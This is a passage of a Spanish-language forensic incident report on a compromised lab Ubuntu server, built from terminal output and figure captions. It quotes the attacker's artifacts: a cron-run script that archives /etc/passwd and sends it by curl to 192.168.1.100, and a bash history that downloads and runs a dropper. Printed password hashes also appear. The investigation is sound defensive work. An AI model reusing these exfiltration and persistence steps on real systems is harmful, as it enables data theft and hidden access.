root@4geeks-server:~# ls -la /var/spool/cron/crontabs/

```



```

root@4geeks-server:/home/sysadmin# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
root@4geeks-server:/home/sysadmin# crontab -l
no crontab for root
root@4geeks-server:/home/sysadmin# ls -la /var/spool/cron/crontabs/
total 8
drwx-wx--T 2 root crontab 4096 Feb 13  2020 .
drwxr-xr-x 5 root root    4096 Mar 14  2023 ..
root@4geeks-server:/home/sysadmin#

```

Figura 7. `/etc/crontab` contiene únicamente las entradas estándar de Ubuntu (`cron.hourly/daily/weekly/monthly`). "`crontab -l`" para root devuelve "no crontab for root", y `/var/spool/cron/crontabs/` está vacío. Esto descarta el `crontab` convencional como mecanismo de persistencia y dirige la búsqueda hacia `/etc/cron.d/`, el mecanismo de enmascaramiento más común en sistemas Debian/Ubuntu.

```

root@4geeks-server:~# ls -la /etc/cron.d/
root@4geeks-server:/home/sysadmin# ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
/etc/cron.d/:
total 28
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
-rw-r--r--  1 root root   44 Jun 23  2025 sys-maintenance

/etc/cron.daily/:
total 52
drwxr-xr-x  2 root root 4096 Jun  9 02:37 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rwxr-xr-x  1 root root  539 Mar 18  2024 apache2
-rwxr-xr-x  1 root root  376 Sep 16  2021 apport
-rwxr-xr-x  1 root root 1478 Apr  9  2020 apt-compat
-rwxr-xr-x  1 root root  355 Dec 29  2017 bsdmainutils
-rwxr-xr-x  1 root root  1187 Sep  5  2019 dpkg
-rwxr-xr-x  1 root root  377 Jan 21  2019 logrotate
-rwxr-xr-x  1 root root  1123 Feb 25  2020 man-db
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rwxr-xr-x  1 root root  4574 Jul 18  2019 popularity-contest
-rwxr-xr-x  1 root root   214 Jan 20  2023 update-notifier-common

/etc/cron.hourly/:
total 12
drwxr-xr-x  2 root root 4096 Mar 14  2023 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
root@4geeks-server:/home/sysadmin#

```

Figura 8. Listado de /etc/cron.d/: los archivos legítimos (e2scrub_all, logrotate, .placeholder, popularity-contest) tienen fechas de Febrero 2020 o Marzo 2023, mientras que "sys-maintenance" está fechado 23 de junio de 2025 — el mismo día identificado como fecha de compromiso. Este contraste de fecha es el ancla temporal que confirmó la naturaleza maliciosa del archivo y permitió fijar la fecha del incidente con precisión.

```
root@4geeks-server:~# grep -rn "backup2.sh" /etc/cron*
/etc/cron.d/sys-maintenance:1:*/15 * * * * root /usr/local/bin/backup2.sh
```

```
root@4geeks-server:/home/sysadmin# grep -rn "backup2.sh" /etc/cron*
/etc/cron.d/sys-maintenance:1:*/15 * * * * root /usr/local/bin/backup2.sh
root@4geeks-server:/home/sysadmin#
```

Figura 9. Confirmación del contenido exacto del cron malicioso: ejecución como root cada 15 minutos del script /usr/local/bin/backup2.sh.

4.4 Localización del artefacto de exfiltración

```
root@4geeks-server:~# find /tmp /var/tmp /dev/shm -type f 2>/dev/null
```

```
root@4geeks-server:/home/sysadmin# find /tmp /var/tmp /dev/shm -type f 2>/dev/null
/tmp/secrets.tgz
root@4geeks-server:/home/sysadmin#
```

Figura 10. La búsqueda en los directorios temporales habituales revela /tmp/secrets.tgz, el archivo comprimido generado por el script de exfiltración.

4.5 Confirmación en syslog de la ejecución recurrente del cron malicioso

```
root@4geeks-server:~# tail -n 50 /var/log/syslog
```

```

root@4geeks-server:/home/sysadmin# tail -n 50 /var/log/syslog
Jun 11 02:21:28 4geeks-server fwupdmdr[5190]: Downloading.: 100%
Jun 11 02:21:28 4geeks-server fwupdmdr[5190]: Idle.: 100%
Jun 11 02:21:28 4geeks-server fwupdmdr[5190]: Successfully downloaded new metadata: 0 local devices supported
Jun 11 02:21:28 4geeks-server systemd[1]: fwupd-refresh.service: Succeeded.
Jun 11 02:21:28 4geeks-server systemd[1]: Finished Refresh fwupd metadata and update motd.
Jun 11 02:21:29 4geeks-server 50-motd-news[5425]: * Ubuntu 20.04 LTS Focal Fossa has reached its end of standard su
pport
Jun 11 02:21:29 4geeks-server 50-motd-news[5425]: on 31 May 2025.
Jun 11 02:21:29 4geeks-server 50-motd-news[5425]: For more details see:
Jun 11 02:21:29 4geeks-server 50-motd-news[5425]: https://ubuntu.com/20-04
Jun 11 02:21:29 4geeks-server systemd[1]: motd-news.service: Succeeded.
Jun 11 02:21:29 4geeks-server systemd[1]: Finished Message of the Day.
Jun 11 02:21:29 4geeks-server systemd[1]: apt-news.service: Succeeded.
Jun 11 02:21:29 4geeks-server systemd[1]: Finished Update APT News.
Jun 11 02:21:30 4geeks-server systemd[1]: esm-cache.service: Succeeded.
Jun 11 02:21:30 4geeks-server systemd[1]: Finished Update the local ESM caches.
Jun 11 02:21:31 4geeks-server dbus-daemon[708]: [system] Activating via systemd: service name='org.freedesktop.Packa
geKit' unit='packagekit.service' requested by ':1.53' (uid=0 pid=5866 comm="/usr/bin/gdbus call --system --dest org.
freedesktop label='unconfined')
Jun 11 02:21:31 4geeks-server systemd[1]: Starting PackageKit Daemon ...
Jun 11 02:21:31 4geeks-server PackageKit: daemon start
Jun 11 02:21:31 4geeks-server dbus-daemon[708]: [system] Successfully activated service 'org.freedesktop.PackageKit'
Jun 11 02:21:31 4geeks-server systemd[1]: Started PackageKit Daemon.
Jun 11 02:21:40 4geeks-server systemd[1]: apt-daily.service: Succeeded.
Jun 11 02:21:40 4geeks-server systemd[1]: Finished Daily apt download activities.
Jun 11 02:21:40 4geeks-server systemd[1]: Starting Daily apt upgrade and clean activities...
Jun 11 02:21:43 4geeks-server systemd[1]: apt-daily-upgrade.service: Succeeded.
Jun 11 02:21:43 4geeks-server systemd[1]: Finished Daily apt upgrade and clean activities.
Jun 11 02:21:56 4geeks-server systemd[1]: systemd-hostnamed.service: Succeeded.
Jun 11 02:22:14 4geeks-server kernel: [ 9500.415885] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=14174 DF PROTO=2
Jun 11 02:24:19 4geeks-server kernel: [ 9625.436993] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=16539 DF PROTO=2
Jun 11 02:26:24 4geeks-server kernel: [ 9750.467850] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=21868 DF PROTO=2
Jun 11 02:26:36 4geeks-server PackageKit: daemon quit
Jun 11 02:26:36 4geeks-server systemd[1]: packagekit.service: Succeeded.
Jun 11 02:28:29 4geeks-server kernel: [ 9875.506966] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=49791 DF PROTO=2
Jun 11 02:30:01 4geeks-server CRON[6088]: (root) CMD (/usr/local/bin/backup2.sh)
Jun 11 02:30:34 4geeks-server kernel: [10000.541906] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=55238 DF PROTO=2
Jun 11 02:32:11 4geeks-server CRON[6087]: (CRON) info (No MTA installed, discarding output)
Jun 11 02:32:39 4geeks-server kernel: [10125.580928] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=11971 DF PROTO=2
Jun 11 02:34:44 4geeks-server kernel: [10250.635909] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=35318 DF PROTO=2
Jun 11 02:36:49 4geeks-server kernel: [10375.694816] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=45261 DF PROTO=2
Jun 11 02:38:54 4geeks-server kernel: [10500.749709] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=63147 DF PROTO=2
Jun 11 02:41:00 4geeks-server kernel: [10625.808697] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08

```

Figura 11. El syslog confirma la ejecución real del cron como root: "CRON[6088]: (root) CMD (/usr/local/bin/backup2.sh)" a las 02:30:01. También se observan mensajes "[UFW BLOCK]" de tráfico multicast/broadcast rutinario, que confirman que UFW estaba activo y registrando eventos durante todo el periodo, dato relevante para la verificación de reglas de firewall en la Sección 8.

```

:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=11887 DF PROTO=2
Jun 11 02:41:36 4geeks-server crontab[6119]: (root) LIST (root)
Jun 11 02:43:05 4geeks-server kernel: [10750.867785] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=28440 DF PROTO=2
Jun 11 02:45:01 4geeks-server CRON[6125]: (root) CMD (/usr/local/bin/backup2.sh)
Jun 11 02:45:10 4geeks-server kernel: [10875.902745] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=58425 DF PROTO=2
Jun 11 02:47:12 4geeks-server CRON[6124]: (CRON) info (No MTA installed, discarding output)
Jun 11 02:47:15 4geeks-server kernel: [11000.981678] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=231 DF PROTO=2
Jun 11 02:49:20 4geeks-server kernel: [11126.036755] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=673 DF PROTO=2
Jun 11 02:51:25 4geeks-server kernel: [11251.103679] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=2362 DF PROTO=2
Jun 11 02:53:30 4geeks-server kernel: [11376.202634] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=4069 DF PROTO=2
Jun 11 02:55:35 4geeks-server kernel: [11501.297918] [UFW BLOCK] IN=enp0s3 OUT= MAC=01:00:5e:00:00:01:34:60:f9:71:08
:7f:08:00 SRC=192.168.0.1 DST=224.0.0.1 LEN=32 TOS=0x00 PREC=0x00 TTL=1 ID=25236 DF PROTO=2
root@4geeks-server:/home/sysadmin#

```

Figura 12. Segunda ejecución del mismo cron, "CRON[6125]" a las 02:45:01 — exactamente 15 minutos después de la anterior, confirmando el intervalo */15 configurado en la tarea maliciosa. La entrada "crontab (root) LIST (root)" corresponde al propio comando crontab -l ejecutado por el analista, no a actividad del atacante.

4.6 Contenido del script de exfiltración

```
root@4geeks-server:~# cat /usr/local/bin/backup2.sh
```

```
root@4geeks-server:/home/sysadmin# cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

root@4geeks-server:/home/sysadmin#
```

Figura 13. Contenido completo de backup2.sh: comprime /etc/passwd en /tmp/secrets.tgz y lo envía mediante curl -X POST a http://192.168.1.100:8080/upload. Esto confirma de forma definitiva el mecanismo de exfiltración y la infraestructura C2 (mismo host detectado en la Sección 4.1).

4.7 Verificación del contenido exfiltrado

```
root@4geeks-server:~# tar -tvf /tmp/secrets.tgz
```

```
root@4geeks-server:/home/sysadmin# tar -tvf /tmp/secrets.tgz
-rw-r--r-- root/root      2103 2025-06-23 15:02 etc/passwd
root@4geeks-server:/home/sysadmin#
```

Figura 14. El archivo comprimido contiene únicamente /etc/passwd, propiedad de root:root, con fecha de modificación 2025-06-23 15:02 — coincidente con la fecha de plantado del cron y, como se confirma en la Sección 4.13, con la creación de la cuenta "hacker". Esto evidencia que la modificación de /etc/passwd, la siembra del cron y la creación de la cuenta backdoor ocurrieron en la misma ventana de ejecución del payload.

Dado que el sistema arrancó el 10 de junio de 2026 según ps auxf y el syslog revisado corresponde al 11 de junio de 2026, la tarea cron lleva ejecutándose sin detección desde el 23 de junio de 2025 — aproximadamente un año de tiempo de permanencia (dwell time) del atacante en el sistema, con exfiltración periódica cada 15 minutos durante todo ese periodo.

4.8 Auditorías negativas iniciales de integridad

Antes de profundizar en la cuenta encontrada, se ejecutó una ronda de verificaciones estándar para descartar otros vectores de persistencia y manipulación conocidos.

```
root@4geeks-server:/home/sysadmin# awk -F: '($3 == 0) {print $1}' /etc/passwd
root
root@4geeks-server:/home/sysadmin# sudo awk -F: '($2 == "") {print $1}' /etc/shadow
root@4geeks-server:/home/sysadmin# cat /root/.ssh/authorized_keys 2>/dev/null
root@4geeks-server:/home/sysadmin# cat ~/.ssh/authorized_keys 2>/dev/null
root@4geeks-server:/home/sysadmin#
```

Figura 15. *awk* sobre `/etc/passwd` confirma que solo "root" tiene UID 0 (sin cuentas adicionales con privilegios de superusuario). *awk* sobre `/etc/shadow` no devuelve cuentas con campo de contraseña vacío. Los archivos `authorized_keys` de root y sysadmin están vacíos o no existen.

```
root@4geeks-server:/home/sysadmin# find /etc/systemd/system/ -type f -mtime -30 2>/dev/null
root@4geeks-server:/home/sysadmin# cat /etc/rc.local 2>/dev/null
root@4geeks-server:/home/sysadmin# find /usr/bin /usr/sbin /tmp /var/tmp /dev/shm -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
root@4geeks-server:/home/sysadmin#
```

Figura 16. No hay unidades de `systemd` modificadas en los últimos 30 días; `/etc/rc.local` no existe; el barrido de binarios con bit SUID (`find -perm -4000`) solo devuelve binarios legítimos de fábrica (`sudo`, `chsh`, `chfn`, `gpasswd`, `pkexec`, `su`, `at`, `fusermount`, `mount`, `umount`, `newgrp`, `passwd`) — ninguna shell ni copia de binario con SUID añadido.

```

root@4geeks-server:/home/sysadmin# cat /root/.bash_history | tail -n 50
ls
cd
ls
free -h
uptime
ps aux --sort=start_time
who -a
clear
netstat -tupnaw
ps auxf
who -a
clear
exit
root@4geeks-server:/home/sysadmin# cat ~/.bash_history | tail -n 50
ls
cd
ls
free -h
uptime
ps aux --sort=start_time
who -a
clear
netstat -tupnaw
ps auxf
who -a
clear
exit
root@4geeks-server:/home/sysadmin#

```

Figura 17. El `.bash_history` de `root` y de `sysadmin` solo contiene comandos de las propias sesiones de investigación del analista (`ls`, `free`, `uptime`, `ps aux`, `who`, `netstat`, `ps auxf`) — sin manipulación interactiva del atacante en estas cuentas administrativas.

4.9 Descubrimiento de cuentas locales no autorizadas

La revisión dirigida de `/etc/passwd` en busca de cuentas con shell interactiva reveló el hallazgo crítico que redefinió el alcance de la investigación.

```
root@4geeks-server:~# grep -E '/id|bash|sh|zsh' /etc/passwd
```

```

root@4geeks-server:/home/sysadmin# grep -E '/id|bash|sh|zsh' /etc/passwd
root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
reports:x:1001:1001:::/home/reports:/bin/bash
hacker:x:1002:1002::/home/hacker:/bin/bash

```

Figura 18. Dos cuentas locales con shell `/bin/bash` que no formaban parte del inventario inicial: "reports" (UID 1001) y "hacker" (UID 1002), además de "sysadmin" y "root". A diferencia de las cuentas de servicio legítimas (todas en `/usr/sbin/nologin`), ambas tienen shell interactiva completa.

```

root@4geeks-server:/home/sysadmin# cut -d: -f1,3,6,7 /etc/passwd
root:0:/root:/bin/bash
daemon:1:/usr/sbin:/usr/sbin/nologin
bin:2:/bin:/usr/sbin/nologin
sys:3:/dev:/usr/sbin/nologin
sync:4:/bin:/bin/sync
games:5:/usr/games:/usr/sbin/nologin
man:6:/var/cache/man:/usr/sbin/nologin
lp:7:/var/spool/lpd:/usr/sbin/nologin
mail:8:/var/mail:/usr/sbin/nologin
news:9:/var/spool/news:/usr/sbin/nologin
uucp:10:/var/spool/uucp:/usr/sbin/nologin
proxy:13:/bin:/usr/sbin/nologin
www-data:33:/var/www:/usr/sbin/nologin
backup:34:/var/backups:/usr/sbin/nologin
list:38:/var/list:/usr/sbin/nologin
irc:39:/var/run/ircd:/usr/sbin/nologin
gnats:41:/var/lib/gnats:/usr/sbin/nologin
nobody:65534:/nonexistent:/usr/sbin/nologin
systemd-network:100:/run/systemd:/usr/sbin/nologin
systemd-resolve:101:/run/systemd:/usr/sbin/nologin
systemd-timesync:102:/run/systemd:/usr/sbin/nologin
messagebus:103:/nonexistent:/usr/sbin/nologin
syslog:104:/home/syslog:/usr/sbin/nologin
_apt:105:/nonexistent:/usr/sbin/nologin
tss:106:/var/lib/tpm:/bin/false
uuid:107:/run/uuid:/usr/sbin/nologin
tcpdump:108:/nonexistent:/usr/sbin/nologin
landscape:109:/var/lib/landscape:/usr/sbin/nologin
pollinate:110:/var/cache/pollinate:/bin/false
fwupd-refresh:111:/run/systemd:/usr/sbin/nologin
usbmux:112:/var/lib/usbmux:/usr/sbin/nologin
sshd:113:/run/sshd:/usr/sbin/nologin
systemd-coredump:999:/:/usr/sbin/nologin
sysadmin:1000:/home/sysadmin:/bin/bash
lxd:998:/var/snap/lxd/common/lxd:/bin/false
ftp:114:/srv/ftp:/usr/sbin/nologin
reports:1001:/home/reports:/bin/bash
wazuh:115:/var/ossec:/sbin/nologin
hacker:1002:/home/hacker:/bin/bash
root@4geeks-server:/home/sysadmin#

```

Figura 19. Listado completo de /etc/passwd (UID, home, shell): confirma que el resto de cuentas de servicio (daemon, bin, sys, www-data, ftp, wazuh, lxd, etc.) tienen shell nologin o false, contrastando con "reports" y "hacker".

```

root@4geeks-server:/home/sysadmin# grep -E '^sudo|^admin' /etc/group
sudo:x:27:sysadmin

```

Figura 20. El grupo "sudo" únicamente contiene a "sysadmin" — ni "reports" ni "hacker" tienen privilegios de escalada directa vía sudo.

4.10 Estado de credenciales y llaves SSH de las cuentas sospechosas

```

root@4geeks-server:~# sudo grep -E '^hacker:|^reports:' /etc/shadow

```

```

root@4geeks-server:/home/sysadmin# sudo grep -E '^hacker:|^reports:' /etc/shadow
reports:$6$FfYdILC0zt7f3e$6aAkArFvRGPQ3KKpMRV5ArKpyvVK9dzlgj3m/apNwIntYwsJ9g.boh5uFF0lAtcZjB0gr1f5UNbxpt0n5CI:20268:0:99999:7:::
hacker:$6$Y14sn7kHsgBoHTGs$hzImzHps0oBLMD4c2FLMcR/9QJkmB2y4EMhq1.hASjrg8ItCZBeTPRC51stV3vUNxb5gHc30z44Duq1TQLA.:20262:0:99999:7:::
root@4geeks-server:/home/sysadmin#

```

Figura 21. Ambas cuentas tienen hashes \$6\$ (sha512crypt) válidos y activos, sin el prefijo "!" o "*" de cuenta bloqueada — es decir, ambas podían autenticarse con contraseña en el momento del hallazgo.

```
root@4geeks-server:/home/sysadmin# sudo cat /home/hacker/.ssh/authorized_keys 2>/dev/null
root@4geeks-server:/home/sysadmin# sudo cat /home/reports/.ssh/authorized_keys 2>/dev/null
root@4geeks-server:/home/sysadmin#
```

Figura 22. Ninguna de las dos cuentas tiene archivo `authorized_keys` — el único vector de reingreso posible para ellas es autenticación por contraseña, no por llave pública.

4.11 Artefactos en los directorios home comprometidos

```
root@4geeks-server:~# sudo find /home/hacker /home/reports -type f -exec ls -la {} \;
```

```
root@4geeks-server:/home/sysadmin# sudo ls -la /home/hacker/
total 20
drwxr-xr-x 2 hacker hacker 4096 Jun 23 2025 .
drwxr-xr-x 5 root root 4096 Jun 23 2025 ..
-rw-r--r-- 1 hacker hacker 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 hacker hacker 807 Feb 25 2020 .profile
root@4geeks-server:/home/sysadmin# sudo ls -la /home/reports/
total 44
drwxr-xr-x 3 reports reports 4096 Jun 23 2025 .
drwxr-xr-x 5 root root 4096 Jun 23 2025 ..
-rw-r--r-- 1 reports reports 129 Jun 23 2025 backup.log
-rw-r--r-- 1 reports reports 120 Jun 23 2025 .bash_history
-rw-r--r-- 1 reports reports 220 Jun 21 2025 .bash_logout
-rw-r--r-- 1 reports reports 3771 Jun 21 2025 .bashrc
drwxr-xr-x 2 reports reports 4096 Jun 23 2025 .cache
-rw-r--r-- 1 reports reports 139 Jun 23 2025 chat.txt
-rw-r--r-- 1 reports reports 270 Jun 23 2025 install.sh
-rw-r--r-- 1 root root 74 Jun 23 2025 .note
-rw-r--r-- 1 reports reports 807 Jun 21 2025 .profile
root@4geeks-server:/home/sysadmin# sudo find /home/hacker /home/reports -type f -exec ls -la {} \;
-rw-r--r-- 1 hacker hacker 220 Feb 25 2020 /home/hacker/.bash_logout
-rw-r--r-- 1 hacker hacker 807 Feb 25 2020 /home/hacker/.profile
-rw-r--r-- 1 hacker hacker 3771 Feb 25 2020 /home/hacker/.bashrc
-rw-r--r-- 1 reports reports 129 Jun 23 2025 /home/reports/backup.log
-rw-r--r-- 1 reports reports 220 Jun 21 2025 /home/reports/.bash_logout
-rw-r--r-- 1 reports reports 807 Jun 21 2025 /home/reports/.profile
-rw-r--r-- 1 reports reports 120 Jun 23 2025 /home/reports/.bash_history
-rw-r--r-- 1 reports reports 139 Jun 23 2025 /home/reports/chat.txt
-rw-r--r-- 1 root root 74 Jun 23 2025 /home/reports/.note
-rw-r--r-- 1 reports reports 270 Jun 23 2025 /home/reports/install.sh
-rw-r--r-- 1 reports reports 3771 Jun 21 2025 /home/reports/.bashrc
-rw-r--r-- 1 reports reports 0 Jun 23 2025 /home/reports/.cache/motd.legal-displayed
root@4geeks-server:/home/sysadmin#
```

Figura 23. `/home/hacker` contiene únicamente los archivos de plantilla por defecto (`.bash_logout`, `.bashrc`, `.profile`, todos fechados Feb 2020, sin modificar desde su copia de `/etc/skel`) — consistente con una cuenta creada pero nunca usada interactivamente. `/home/reports`, en cambio, contiene múltiples artefactos fechados 23 de junio de 2025: `backup.log`, `.bash_history`, `chat.txt`, `install.sh`, y un archivo `.note` cuya propiedad es `root:root` (no `reports:reports`), lo cual indica que fue escrito después de que el proceso obtuviera privilegios de `root`.

```
root@4geeks-server:~# sudo cat /home/reports/.bash_history
```

```
root@4geeks-server:/home/sysadmin# sudo cat /home/hacker/.bash_history 2>/dev/null
root@4geeks-server:/home/sysadmin# sudo cat /home/reports/.bash_history 2>/dev/null
cat /opt/.archive/credentials.txt
wget http://192.168.1.100/install.sh
chmod +x install.sh
./install.sh
nano backup.log
root@4geeks-server:/home/sysadmin#
```

Figura 24. El historial de comandos de "reports" expone la cadena completa del compromiso ejecutada por el atacante: lectura del archivo de credenciales, descarga del dropper, asignación de permisos de ejecución, ejecución del dropper, y edición manual del log de cobertura. El historial de "hacker" está vacío.

4.12 Historial de sesiones y marcas de tiempo de creación

```
root@4geeks-server:~# lastlog -u hacker -u reports
root@4geeks-server:~# last hacker reports
```

```
root@4geeks-server:/home/sysadmin# lastlog -u hacker -u reports
Username      Port      From      Latest
reports      tty1      Mon Jun 23 14:07:53 +0000 2025
root@4geeks-server:/home/sysadmin# last hacker reports
reports tty1      Mon Jun 23 14:07 - 14:07 (00:00)

wtmp begins Sat Jun 21 19:03:58 2025
root@4geeks-server:/home/sysadmin# last -f /var/log/wtmp | grep -E 'hacker|reports'
reports tty1      Mon Jun 23 14:07 - 14:07 (00:00)
root@4geeks-server:/home/sysadmin#
```

Figura 25. "hacker" no aparece en lastlog — nunca inició sesión. "reports" registra una única sesión real el 23 de junio de 2025 a las 14:07:53 desde tty1 (consola local). wtmp comienza a registrar el 21 de junio de 2025, cubriendo todo el periodo relevante.

```
root@4geeks-server:~# sudo stat /home/hacker /home/reports
root@4geeks-server:~# sudo chage -l hacker
root@4geeks-server:~# sudo chage -l reports
```

```
root@4geeks-server:/home/sysadmin# sudo stat /home/hacker /home/reports
  File: /home/hacker
  Size: 4096      Blocks: 8      IO Block: 4096   directory
Device: 802h/2050d Inode: 393249  Links: 2
Access: (0755/drwxr-xr-x)  Uid: ( 1002/  hacker)   Gid: ( 1002/  hacker)
Access: 2026-06-17 02:41:28.179935061 +0000
Modify: 2025-06-23 15:02:47.580029316 +0000
Change: 2025-06-23 15:02:47.580029316 +0000
 Birth: -
  File: /home/reports
  Size: 4096      Blocks: 8      IO Block: 4096   directory
Device: 802h/2050d Inode: 393232  Links: 3
Access: (0755/drwxr-xr-x)  Uid: ( 1001/  reports)   Gid: ( 1001/  reports)
Access: 2026-06-17 02:41:28.187934457 +0000
Modify: 2025-06-23 14:40:35.093293492 +0000
Change: 2025-06-23 14:40:35.093293492 +0000
 Birth: -
root@4geeks-server:/home/sysadmin# sudo chage -l hacker
Last password change          : Jun 23, 2025
Password expires               : never
Password inactive              : never
Account expires                : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7
root@4geeks-server:/home/sysadmin# sudo chage -l reports
Last password change          : Jun 21, 2025
Password expires               : never
Password inactive              : never
Account expires                : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7
root@4geeks-server:/home/sysadmin#
```

Figura 26. stat confirma mtime de /home/hacker en 2025-06-23 15:02:47 (coincide exactamente con la creación de la cuenta) y de /home/reports en 2025-06-23 14:40:35. chage -l confirma que la contraseña de "hacker" se estableció el 23 de junio de 2025 (día del compromiso) y la de "reports" el 21 de junio de 2025 (día del aprovisionamiento original del servidor).

4.13 Cronología confirmada de creación de cuentas

Esta es la evidencia ancla de toda la reconstrucción temporal del incidente: el grep combinado de auth.log (incluyendo su rotación) y la confirmación cruzada con journalctl.

```
root@4geeks-server:~# sudo grep -E 'new user|useradd' /var/log/auth.log* 2>/dev/null
root@4geeks-server:~# sudo journalctl _COMM=useradd
```

```
root@4geeks-server:/home/sysadmin# sudo grep -E 'new user|useradd' /var/log/auth.log* 2>/dev/null
/var/log/auth.log:Jun 17 01:47:15 4geeks-server sudo: root : TTY=pts/0 ; PWD=/home/sysadmin ; USER=root ; COMMAND=/usr/bin/grep -E new user|useradd /var/log/auth.log /var/log/auth.log
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: new group: name=sysadmin, UID=1000
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'adm'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'cdrom'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'sudo'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'dip'
/var/log/auth.log:Jun 21 19:04:11 4geeks-server useradd[784]: add 'sysadmin' to group 'plugdev'
